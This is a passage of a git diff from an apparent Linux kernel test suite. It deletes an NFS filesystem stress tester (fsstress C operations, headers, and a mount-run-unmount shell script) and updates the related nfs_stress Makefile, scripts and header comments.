-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: freesp - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDWR);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: freesp - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: freesp - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	fl.l_whence = SEEK_SET;
-	fl.l_start = off;
-	fl.l_len = 0;
-	e = ioctl(fd, XFS_IOC_FREESP64, &fl) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: ioctl(XFS_IOC_FREESP64) %s %lld 0 %d\n",
-		       procid, opno, f.path, off, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-#endif
-
-void fsync_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: fsync - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_WRONLY);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: fsync - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	e = fsync(fd) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: fsync %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-void getdents_f(int opno, long r)
-{
-	DIR *dir;
-	pathname_t f;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_DIRm, r, &f, NULL, NULL, &v))
-		append_pathname(&f, ".");
-	dir = opendir_path(&f);
-	check_cwd();
-	if (dir == NULL) {
-		if (v)
-			printf("%d/%d: getdents - can't open %s\n",
-			       procid, opno, f.path);
-		free_pathname(&f);
-		return;
-	}
-	while (readdir64(dir) != NULL)
-		continue;
-	if (v)
-		printf("%d/%d: getdents %s 0\n", procid, opno, f.path);
-	free_pathname(&f);
-	closedir(dir);
-}
-
-void link_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	flist_t *flp;
-	int id;
-	pathname_t l;
-	int parid;
-	int v;
-	int v1;
-
-	init_pathname(&f);
-	if (!get_fname(FT_NOTDIR, r, &f, &flp, NULL, &v1)) {
-		if (v1)
-			printf("%d/%d: link - no file\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	if (!get_fname(FT_DIRm, random(), NULL, NULL, &fep, &v))
-		parid = -1;
-	else
-		parid = fep->id;
-	v |= v1;
-	init_pathname(&l);
-	e = generate_fname(fep, flp - flist, &l, &id, &v1);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&l, &flist[FT_DIR], fep);
-			printf("%d/%d: link - no filename from %s\n",
-			       procid, opno, l.path);
-		}
-		free_pathname(&l);
-		free_pathname(&f);
-		return;
-	}
-	e = link_path(&f, &l) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		add_to_flist(flp - flist, id, parid);
-	if (v)
-		printf("%d/%d: link %s %s %d\n", procid, opno, f.path, l.path,
-		       e);
-	free_pathname(&l);
-	free_pathname(&f);
-}
-
-void mkdir_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	int id;
-	int parid;
-	int v;
-	int v1;
-
-	if (!get_fname(FT_DIRm, r, NULL, NULL, &fep, &v))
-		parid = -1;
-	else
-		parid = fep->id;
-	init_pathname(&f);
-	e = generate_fname(fep, FT_DIR, &f, &id, &v1);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&f, &flist[FT_DIR], fep);
-			printf("%d/%d: mkdir - no filename from %s\n",
-			       procid, opno, f.path);
-		}
-		free_pathname(&f);
-		return;
-	}
-	e = mkdir_path(&f, 0777) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		add_to_flist(FT_DIR, id, parid);
-	if (v)
-		printf("%d/%d: mkdir %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-void mknod_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	int id;
-	int parid;
-	int v;
-	int v1;
-
-	if (!get_fname(FT_DIRm, r, NULL, NULL, &fep, &v))
-		parid = -1;
-	else
-		parid = fep->id;
-	init_pathname(&f);
-	e = generate_fname(fep, FT_DEV, &f, &id, &v1);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&f, &flist[FT_DIR], fep);
-			printf("%d/%d: mknod - no filename from %s\n",
-			       procid, opno, f.path);
-		}
-		free_pathname(&f);
-		return;
-	}
-	e = mknod_path(&f, S_IFCHR | 0444, 0) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		add_to_flist(FT_DEV, id, parid);
-	if (v)
-		printf("%d/%d: mknod %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-void read_f(int opno, long r)
-{
-	char *buf;
-	int e;
-	pathname_t f;
-	int fd;
-	size_t len;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: read - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDONLY);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: read - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: read - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	if (stb.st_size == 0) {
-		if (v)
-			printf("%d/%d: read - %s zero size\n", procid, opno,
-			       f.path);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % stb.st_size);
-	lseek64(fd, off, SEEK_SET);
-	len = (random() % (getpagesize() * 32)) + 1;
-	buf = malloc(len);
-	e = read(fd, buf, len) < 0 ? errno : 0;
-	free(buf);
-	if (v)
-		printf("%d/%d: read %s [%lld,%ld] %d\n",
-		       procid, opno, f.path, (long long)off, (long int)len, e);
-	free_pathname(&f);
-	close(fd);
-}
-
-void readlink_f(int opno, long r)
-{
-	char buf[PATH_MAX];
-	int e;
-	pathname_t f;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_SYMm, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: readlink - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	e = readlink_path(&f, buf, PATH_MAX) < 0 ? errno : 0;
-	check_cwd();
-	if (v)
-		printf("%d/%d: readlink %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-void rename_f(int opno, long r)
-{
-	fent_t *dfep;
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	flist_t *flp;
-	int id;
-	pathname_t newf;
-	int oldid;
-	int parid;
-	int v;
-	int v1;
-
-	init_pathname(&f);
-	if (!get_fname(FT_ANYm, r, &f, &flp, &fep, &v1)) {
-		if (v1)
-			printf("%d/%d: rename - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	if (!get_fname(FT_DIRm, random(), NULL, NULL, &dfep, &v))
-		parid = -1;
-	else
-		parid = dfep->id;
-	v |= v1;
-	init_pathname(&newf);
-	e = generate_fname(dfep, flp - flist, &newf, &id, &v1);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&f, &flist[FT_DIR], dfep);
-			printf("%d/%d: rename - no filename from %s\n",
-			       procid, opno, f.path);
-		}
-		free_pathname(&newf);
-		free_pathname(&f);
-		return;
-	}
-	e = rename_path(&f, &newf) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0) {
-		if (flp - flist == FT_DIR) {
-			oldid = fep->id;
-			fix_parent(oldid, id);
-		}
-		del_from_flist(flp - flist, fep - flp->fents);
-		add_to_flist(flp - flist, id, parid);
-	}
-	if (v)
-		printf("%d/%d: rename %s to %s %d\n", procid, opno, f.path,
-		       newf.path, e);
-	free_pathname(&newf);
-	free_pathname(&f);
-}
-
-#ifndef NO_XFS
-void resvsp_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	struct flock64 fl;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: resvsp - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDWR);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: resvsp - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: resvsp - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	fl.l_whence = SEEK_SET;
-	fl.l_start = off;
-	fl.l_len = (off64_t) (random() % (1024 * 1024));
-	e = ioctl(fd, XFS_IOC_RESVSP64, &fl) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: ioctl(XFS_IOC_RESVSP64) %s %lld %lld %d\n",
-		       procid, opno, f.path, off, fl.l_len, e);
-	free_pathname(&f);
-	close(fd);
-}
-#endif
-
-void rmdir_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_DIRm, r, &f, NULL, &fep, &v)) {
-		if (v)
-			printf("%d/%d: rmdir - no directory\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	e = rmdir_path(&f) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		del_from_flist(FT_DIR, fep - flist[FT_DIR].fents);
-	if (v)
-		printf("%d/%d: rmdir %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-void stat_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_ANYm, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: stat - no entries\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	e = lstat64_path(&f, &stb) < 0 ? errno : 0;
-	check_cwd();
-	if (v)
-		printf("%d/%d: stat %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-void symlink_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	int i;
-	int id;
-	int len;
-	int parid;
-	int v;
-	int v1;
-	char *val;
-
-	if (!get_fname(FT_DIRm, r, NULL, NULL, &fep, &v))
-		parid = -1;
-	else
-		parid = fep->id;
-	init_pathname(&f);
-	e = generate_fname(fep, FT_SYM, &f, &id, &v1);
-	v |= v1;
-	if (!e) {
-		if (v) {
-			fent_to_name(&f, &flist[FT_DIR], fep);
-			printf("%d/%d: symlink - no filename from %s\n",
-			       procid, opno, f.path);
-		}
-		free_pathname(&f);
-		return;
-	}
-	len = (int)(random() % PATH_MAX);
-	val = malloc(len + 1);
-	if (len)
-		memset(val, 'x', len);
-	val[len] = '\0';
-	for (i = 10; i < len - 1; i += 10)
-		val[i] = '/';
-	e = symlink_path(val, &f) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		add_to_flist(FT_SYM, id, parid);
-	free(val);
-	if (v)
-		printf("%d/%d: symlink %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-/* ARGSUSED */
-void sync_f(int opno, long r)
-{
-	sync();
-	if (verbose)
-		printf("%d/%d: sync\n", procid, opno);
-}
-
-void truncate_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: truncate - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	e = stat64_path(&f, &stb) < 0 ? errno : 0;
-	check_cwd();
-	if (e > 0) {
-		if (v)
-			printf("%d/%d: truncate - stat64 %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	e = truncate64_path(&f, off) < 0 ? errno : 0;
-	check_cwd();
-	if (v)
-		printf("%d/%d: truncate %s %lld %d\n", procid, opno, f.path,
-		       (long long)off, e);
-	free_pathname(&f);
-}
-
-void unlink_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	fent_t *fep;
-	flist_t *flp;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_NOTDIR, r, &f, &flp, &fep, &v)) {
-		if (v)
-			printf("%d/%d: unlink - no file\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	e = unlink_path(&f) < 0 ? errno : 0;
-	check_cwd();
-	if (e == 0)
-		del_from_flist(flp - flist, fep - flp->fents);
-	if (v)
-		printf("%d/%d: unlink %s %d\n", procid, opno, f.path, e);
-	free_pathname(&f);
-}
-
-#ifndef NO_XFS
-void unresvsp_f(int opno, long r)
-{
-	int e;
-	pathname_t f;
-	int fd;
-	struct flock64 fl;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGFILE, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: unresvsp - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_RDWR);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: unresvsp - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: unresvsp - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	fl.l_whence = SEEK_SET;
-	fl.l_start = off;
-	fl.l_len = (off64_t) (random() % (1 << 20));
-	e = ioctl(fd, XFS_IOC_UNRESVSP64, &fl) < 0 ? errno : 0;
-	if (v)
-		printf("%d/%d: ioctl(XFS_IOC_UNRESVSP64) %s %lld %lld %d\n",
-		       procid, opno, f.path, off, fl.l_len, e);
-	free_pathname(&f);
-	close(fd);
-}
-#endif
-
-void write_f(int opno, long r)
-{
-	char *buf;
-	int e;
-	pathname_t f;
-	int fd;
-	size_t len;
-	int64_t lr;
-	off64_t off;
-	struct stat64 stb;
-	int v;
-
-	init_pathname(&f);
-	if (!get_fname(FT_REGm, r, &f, NULL, NULL, &v)) {
-		if (v)
-			printf("%d/%d: write - no filename\n", procid, opno);
-		free_pathname(&f);
-		return;
-	}
-	fd = open_path(&f, O_WRONLY);
-	e = fd < 0 ? errno : 0;
-	check_cwd();
-	if (fd < 0) {
-		if (v)
-			printf("%d/%d: write - open %s failed %d\n",
-			       procid, opno, f.path, e);
-		free_pathname(&f);
-		return;
-	}
-	if (fstat64(fd, &stb) < 0) {
-		if (v)
-			printf("%d/%d: write - fstat64 %s failed %d\n",
-			       procid, opno, f.path, errno);
-		free_pathname(&f);
-		close(fd);
-		return;
-	}
-	lr = ((int64_t) random() << 32) + random();
-	off = (off64_t) (lr % MIN(stb.st_size + (1024 * 1024), MAXFSIZE));
-	off %= maxfsize;
-	lseek64(fd, off, SEEK_SET);
-	len = (random() % (getpagesize() * 32)) + 1;
-	buf = malloc(len);
-	memset(buf, nameseq & 0xff, len);
-	e = write(fd, buf, len) < 0 ? errno : 0;
-	free(buf);
-	if (v)
-		printf("%d/%d: write %s [%lld,%ld] %d\n",
-		       procid, opno, f.path, (long long)off, (long int)len, e);
-	free_pathname(&f);
-	close(fd);
-}
diff --git a/testcases/network/nfs/nfs_fsstress/global.h b/testcases/network/nfs/nfs_fsstress/global.h
deleted file mode 100644
index 46b2bd8..0000000
--- a/testcases/network/nfs/nfs_fsstress/global.h
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * Further, this software is distributed without any warranty that it is
- * free of the rightful claim of any third person regarding infringement
- * or the like.  Any license provided herein, whether implied or
- * otherwise, applies only to this software file.  Patent licenses, if
- * any, provided herein do not apply to combinations of this program with
- * other software, or any other product whatsoever.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy,
- * Mountain View, CA  94043, or:
- *
- * http://www.sgi.com
- *
- * For further information regarding this notice, see:
- *
- * http://oss.sgi.com/projects/GenInfo/SGIGPLNoticeExplan/
- */
-
-#ifndef GLOBAL_H
-#define GLOBAL_H
-
-/* xfs-specific includes */
-
-#if defined(NO_XFS)
-# include "xfscompat.h"
-#else
-# include <libxfs.h>
-# include <attributes.h>
-#endif
-
-/* libc includes */
-
-#include <sys/stat.h>
-#include <sys/statvfs.h>
-#include <sys/time.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <stdlib.h>
-#include <dirent.h>
-#include <errno.h>
-#include <string.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <unistd.h>
-
-#ifndef O_DIRECT
-#define O_DIRECT 040000
-#endif
-
-#endif
diff --git a/testcases/network/nfs/nfs_fsstress/nfs_fsstress.sh b/testcases/network/nfs/nfs_fsstress/nfs_fsstress.sh
deleted file mode 100755
index 1bb2c2d..0000000
--- a/testcases/network/nfs/nfs_fsstress/nfs_fsstress.sh
+++ /dev/null
@@ -1,117 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2003
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implie; warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : nfs_fsstress.sh
-#
-#  PURPOSE: Runs fsstress over an NFS mount point for a specified amount
-#          of time.  The test will also start 'sar' to monitor the system
-#	   utilization data.  The purpose of this test is to stress the
-#	   NFS kernel code and possibly the underlying filesystem where
-#	   the export resides.  A PASS is if the test completes.
-#
-#  PREREQUISITE: There must exist an NFS exported filesystem available to
-#		test on.
-#
-#
-#  HISTORY:
-#    11/21/03 Robbie Williamson (robbiew@us.ibm.com)
-#      -Written
-#
-#***********************************************************************
-
-#Uncomment line below for debug output.
-#trace_logic=${trace_logic:-"set -x"}
-
-$trace_logic
-
-echo -n "Please enter the server location of the NFS exported filesystem: "
-read RHOST
-echo -n "Please enter the name of the NFS exported filesystem: "
-read FILESYSTEM
-echo -n "Please enter the test duration in hours: "
-read DURATION
-
-HOSTNAME=$(hostname | awk {'print $1'})
-
-#Convert to seconds
-DURATION=$(( $DURATION * 60 * 60 ))
-
-echo "Setting up local mount points"
-mkdir -p /tmp/udp/2/${HOSTNAME}1
-mkdir -p /tmp/tcp/2/${HOSTNAME}2
-mkdir -p /tmp/udp/3/${HOSTNAME}3
-mkdir -p /tmp/tcp/3/${HOSTNAME}4
-
-echo "Mounting NFS filesystem"
-mount -o "intr,soft,proto=udp,vers=2" $RHOST:$FILESYSTEM /tmp/udp/2/${HOSTNAME}1 >/dev/null 2>&1
-if [ $? -ne 0 ];then
-  echo "Error: mount using UDP & version 2 failed"
-  exit 1
-fi
-mount -o "intr,soft,proto=tcp,vers=2" $RHOST:$FILESYSTEM /tmp/tcp/2/${HOSTNAME}2 >/dev/null 2>&1
-if [ $? -ne 0 ];then
-  echo "Error: mount using TCP & version 2 failed"
-  exit 1
-fi
-mount -o "intr,soft,proto=udp,vers=3" $RHOST:$FILESYSTEM /tmp/udp/3/${HOSTNAME}3 >/dev/null 2>&1
-if [ $? -ne 0 ];then
-  echo "Error: mount using UDP & version 3 failed"
-  exit 1
-fi
-mount -o "intr,soft,proto=tcp,vers=3" $RHOST:$FILESYSTEM /tmp/tcp/3/${HOSTNAME}4 >/dev/null 2>&1
-if [ $? -ne 0 ];then
-  echo "Error: mount using TCP & version 3 failed"
-  exit 1
-fi
-
-echo "Test set for $DURATION seconds. Starting test processes now."
-./fsstress -l 0 -d /tmp/udp/2/${HOSTNAME}1 -n 1000 -p 50 -r > /tmp/nfs_fsstress.udp.2.log 2>&1 &
-./fsstress -l 0 -d /tmp/udp/3/${HOSTNAME}2 -n 1000 -p 50 -r > /tmp/nfs_fsstress.udp.3.log 2>&1 &
-./fsstress -l 0 -d /tmp/tcp/2/${HOSTNAME}3 -n 1000 -p 50 -r > /tmp/nfs_fsstress.tcp.2.log 2>&1 &
-./fsstress -l 0 -d /tmp/tcp/3/${HOSTNAME}4 -n 1000 -p 50 -r > /tmp/nfs_fsstress.tcp.3.log 2>&1 &
-
-echo "Starting sar"
-sar -o /tmp/nfs_fsstress.sardata 30 0 &
-
-echo "Testing in progress"
-sleep $DURATION
-echo "Testing done. Killing processes."
-killall -9 sadc
-killall -9 fsstress
-ps -ef | grep -v grep | grep fsstress > /dev/null 2>&1
-TESTING=$?
-while [ $TESTING -eq 0 ]
-do
-  killall -9 fsstress
-  echo -n "."
-  sleep 5
-  ps -ef | grep -v grep | grep -v nfs_fsstress | grep fsstress > /dev/null 2>&1
-  TESTING=$?
-done
-echo " "
-echo "All processes killed."
-echo "Unmounting NFS filesystem"
-umount /tmp/udp/2/${HOSTNAME}1
-umount /tmp/tcp/2/${HOSTNAME}2
-umount /tmp/udp/3/${HOSTNAME}3
-umount /tmp/tcp/3/${HOSTNAME}4
-echo " Testing Complete: PASS"
-
-
diff --git a/testcases/network/nfs/nfs_fsstress/xfscompat.h b/testcases/network/nfs/nfs_fsstress/xfscompat.h
deleted file mode 100644
index 61550a8..0000000
--- a/testcases/network/nfs/nfs_fsstress/xfscompat.h
+++ /dev/null
@@ -1,7 +0,0 @@
-#define MAXNAMELEN 1024
-struct dioattr {
-	int d_miniosz, d_maxiosz, d_mem;
-};
-
-#define MIN(a,b) ((a)<(b) ? (a):(b))
-#define MAX(a,b) ((a)>(b) ? (a):(b))
diff --git a/testcases/network/nfs/nfs_stress/Makefile b/testcases/network/nfs/nfs_stress/Makefile
index 0e6aebc..3162cea 100644
--- a/testcases/network/nfs/nfs_stress/Makefile
+++ b/testcases/network/nfs/nfs_stress/Makefile
@@ -16,7 +16,7 @@
 
 top_srcdir		?= ../../../..
 
-include $(top_srcdir)/include/mk/env_pre.mk
+include $(top_srcdir)/include/mk/testcases.mk
 
 nfs04_create_file: CPPFLAGS += -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE
 nfs05_make_tree: LDLIBS += -lpthread
@@ -26,6 +26,7 @@
 			   nfs02 \
 			   nfs03 \
 			   nfs04 \
-			   nfs05
+			   nfs05 \
+			   nfs06
 
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/network/nfs/nfs_stress/nfs01 b/testcases/network/nfs/nfs_stress/nfs01
index 19c7f4b..a2dfe68 100755
--- a/testcases/network/nfs/nfs_stress/nfs01
+++ b/testcases/network/nfs/nfs_stress/nfs01
@@ -31,9 +31,6 @@
 {
 	tst_resm TINFO "starting 'nfs01_open_files $NFILES'"
 	ROD nfs01_open_files $NFILES
-
-	cd $LTPROOT
-	ROD umount $TST_TMPDIR
 	tst_resm TPASS "test finished successfully"
 }
 
diff --git a/testcases/network/nfs/nfs_stress/nfs05 b/testcases/network/nfs/nfs_stress/nfs05
index 0e15c8c..af23e33 100755
--- a/testcases/network/nfs/nfs_stress/nfs05
+++ b/testcases/network/nfs/nfs_stress/nfs05
@@ -1,5 +1,5 @@
 #!/bin/sh
-# Copyright (c) 2015 Oracle and/or its affiliates. All Rights Reserved.
+# Copyright (c) 2015-2016 Oracle and/or its affiliates. All Rights Reserved.
 # Copyright (c) International Business Machines  Corp., 2001
 #
 # This program is free software; you can redistribute it and/or
@@ -31,6 +31,8 @@
 . nfs_lib.sh
 . test_net.sh
 
+tst_check_cmds make gcc
+
 nfs_setup
 
 tst_resm TINFO "start nfs05_make_tree -d $DIR_NUM -f $FILE_NUM -t $THREAD_NUM"
diff --git a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
index 4163988..6b2c98f 100644
--- a/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
+++ b/testcases/network/nfs/nfs_stress/nfs05_make_tree.c
@@ -1,180 +1,52 @@
-/******************************************************************************/
-/*									      */
-/* Copyright (c) International Business Machines  Corp., 2001		      */
-/*									      */
-/* This program is free software;  you can redistribute it and/or modify      */
-/* it under the terms of the GNU General Public License as published by       */
-/* the Free Software Foundation; either version 2 of the License, or          */
-/* (at your option) any later version.					      */
-/*									      */
-/* This program is distributed in the hope that it will be useful,	      */
-/* but WITHOUT ANY WARRANTY;  without even the implied warranty of	      */
-/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See	              */
-/* the GNU General Public License for more details.			      */
-/*									      */
-/* You should have received a copy of the GNU General Public License	      */
-/* along with this program;  if not, write to the Free Software		      */
-/* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    */
-/*									      */
-/******************************************************************************/
+/*
+ * Copyright (c) 2016 Oracle and/or its affiliates. All Rights Reserved.
+ * Copyright (c) International Business Machines  Corp., 2001
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
 
-/******************************************************************************/
-/*                                                                            */
-/* History:     Oct - 10 - 2001 Created - Manoj Iyer, IBM Austin TX.          */
-/*                               email:manjo@austin.ibm.com                   */
-/*					- create a directory tree that is     */
-/*				unique to each process. The base directory    */
-/*				looks like hostname.<pid of the process>      */
-/*				the subdirectories will be <pid>.0 <pid.1> etc*/
-/*				eg:					      */
-/*				    hostname.1234			      */
-/*					       |_ 1234.0	              */
-/*					               |_ 1234.1              */
-/*					                      |_1234.2        */
-/*								    |....     */
-/*				hostname -  hostname of the machine           */
-/*			        1234     -  pid of the current process.       */
-/*			        Each of these directories are populated with  */
-/*				N number of ".c" files and a makefile that can*/
-/*				compile the ".c" files and also initiate      */
-/*				compile of ".c" files in the subdirectories   */
-/*				under it.			              */
-/*                                                                            */
-/*		Oct - 11 - 2001 Modified 				      */
-/*				- fixed a bug in the makefiles, the last make-*/
-/*				  file was expecting subdirectories. Added    */
-/*				  code to generate a different makefile for   */
-/*				  the last subdirectory.		      */
-/*				- Added logic to first compile all the c files*/
-/*				  and upon completion remove them.            */
-/*			        - Added multithreading, arguments handling.   */
-/*				  By default the program will generate 8      */
-/*				  threads, each creating by default 100 deep  */
-/*				  directory tree each containing default 100  */
-/*			          ".c" files and one makefile.                */
-/*			        - Added usage message.                        */
-/*								              */
-/*		Oct - 12 - 2001 Modified			              */
-/*				- Added logic to print missing arguments to   */
-/*				  options.                                    */
-/*                                                                            */
-/*		Oct - 15 - 2001 Modified			              */
-/*				- Added logic to remove the files, makefiles  */
-/*				  and subdirectories that were created.       */
-/*			        - Added logic to print debug messages.        */
-/*								              */
-/*		Oct - 16 - 2001 Modified		                      */
-/*				- Added sync() calls to commit changes.       */
-/*				- Fixed bug. pthread_join() returns 0 when    */
-/*			          pthread_join fails, if the thread function  */
